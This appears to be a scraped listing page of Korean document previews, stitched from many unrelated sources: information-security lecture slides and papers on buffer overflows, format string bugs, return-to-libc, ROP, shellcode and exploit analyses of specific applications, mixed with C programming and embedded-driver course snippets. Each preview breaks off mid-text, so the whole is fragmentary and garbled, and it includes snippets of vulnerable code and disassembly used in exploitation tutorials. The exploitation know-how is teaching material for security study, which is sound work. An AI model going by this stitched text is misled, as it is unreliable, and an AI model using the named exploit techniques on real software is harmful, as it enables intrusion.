Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

"Analysis of the Exploitation Processes"

Analysis of the Exploitation Processes "Analysis of the Exploitation Processes" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Steven Hill aka: SolarIce www.covertsystems.org steve@covertsystems.org (c) 2004 편역 : poc@securityproof.net 이글은원문의소스코드를그대로유지하면서역자의개인서버에서다시테스트된것을바탕으로새롭게

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

BufferOverflow on Solaris Sparc

BufferOverflow on Solaris Sparc BufferOverflow on Solaris Sparc by Tyger (nobody4@empal.com) 1. 서문이문서에서는 Solaris Sparc에서의버퍼오버플로우에대해다룰것이다. 버퍼오버플로우에대한개념은이미알고있는걸로간주하고, Intel x86에서의버퍼오버플로우와차이점에중점을두고설명한다. 참고로 Sparc 머신이없어서아래의환경에서만테스트한것이므로다른환경에선이내용과다른결과가나올수도있다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

Microsoft PowerPoint - chap01-C언어개요.pptx

Microsoft PowerPoint - chap01-C언어개요.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 프로그래밍의 기본 개념을

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 1. data-addressing mode CHAPTER 6 Addressing Modes 2. use of data-address mode to form assembly language statements 3. op of program memory address mode 4. use of program memory address mode to form assembly

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드 취약점분석보고서 [Aviosoft Digital TV Player Professional 1.x Stack Buffer Overflow] 2012-08-08 RedAlert Team 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. 취약점요약... 1 1.3. 취약점정보... 1 1.4. 취약점대상시스템목록... 1 2. 분석...

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

Smashing The Stack For Fun And Profit by Aleph One

Smashing The Stack For Fun And Profit by Aleph One Review of Aleph One s Smashing The Stack For Fun And Profit by vangelis(vangelis@wowsecurity.org) 888 888 888 888 888 888 888 888 888.d88b. 888 888 888 88888b. 8888b..d8888b 888 888.d88b. 888d888 888 888

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

Microsoft PowerPoint - System Programming Lab Week1.ppt [호환 모드]

Microsoft PowerPoint - System Programming Lab Week1.ppt [호환 모드] System Programming Lab Week 1: Basic Skills for Practice Contents vi Editor 사용법 GCC 컴파일러사용법 Makefile 사용법 GDB 사용법 VI Editor Usage vi 모드 입력모드 : 실제문서를편집하는모드. 명령모드 : 키입력이바로명령이되는모드로서쓴내용을삭제하거나, 복사할때사용. ex 명령모드

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환 취약점분석보고서 [Photodex ProShow Producer v5.0.3256] 2012-07-24 RedAlert Team 안상환 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 2. Photodex ProShow Producer Buffer Overflow 취약점분석... 2 2.1. Photodex ProShow Producer Buffer

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729> 8주차중간고사 ( 인터럽트및 A/D 변환기문제및풀이 ) Next-Generation Networks Lab. 외부입력인터럽트예제 문제 1 포트 A 의 7-segment 에초시계를구현한다. Tact 스위치 SW3 을 CPU 보드의 PE4 에연결한다. 그리고, SW3 을누르면하강 에지에서초시계가 00 으로초기화된다. 동시에 Tact 스위치 SW4 를 CPU 보드의

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

Contents 1. 목적 풀이 Level

Contents 1. 목적 풀이 Level FTZ 풀이보고서 Moomoo/badass4514@gmail.com 1 Contents 1. 목적 -------------------------------------------------------------- 3 2. 풀이 Level1 -----------------------------------------------------------------------

More information

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures 단일연결리스트 (Singly Linked List) 신찬수 연결리스트 (linked list)? tail 서울부산수원용인 null item next 구조체복습 struct name_card { char name[20]; int date; } struct name_card a; // 구조체변수 a 선언 a.name 또는 a.date // 구조체 a의멤버접근 struct

More information

Chapter 4. LISTS

Chapter 4. LISTS C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Execute_Shellcode_on_the_MacOSX.txt - 메모장 ####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" http://indra.linuxstudy.pe.kr 2005. 08. 19. ########################################################################

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

Microsoft Word - Static analysis of Shellcode.doc

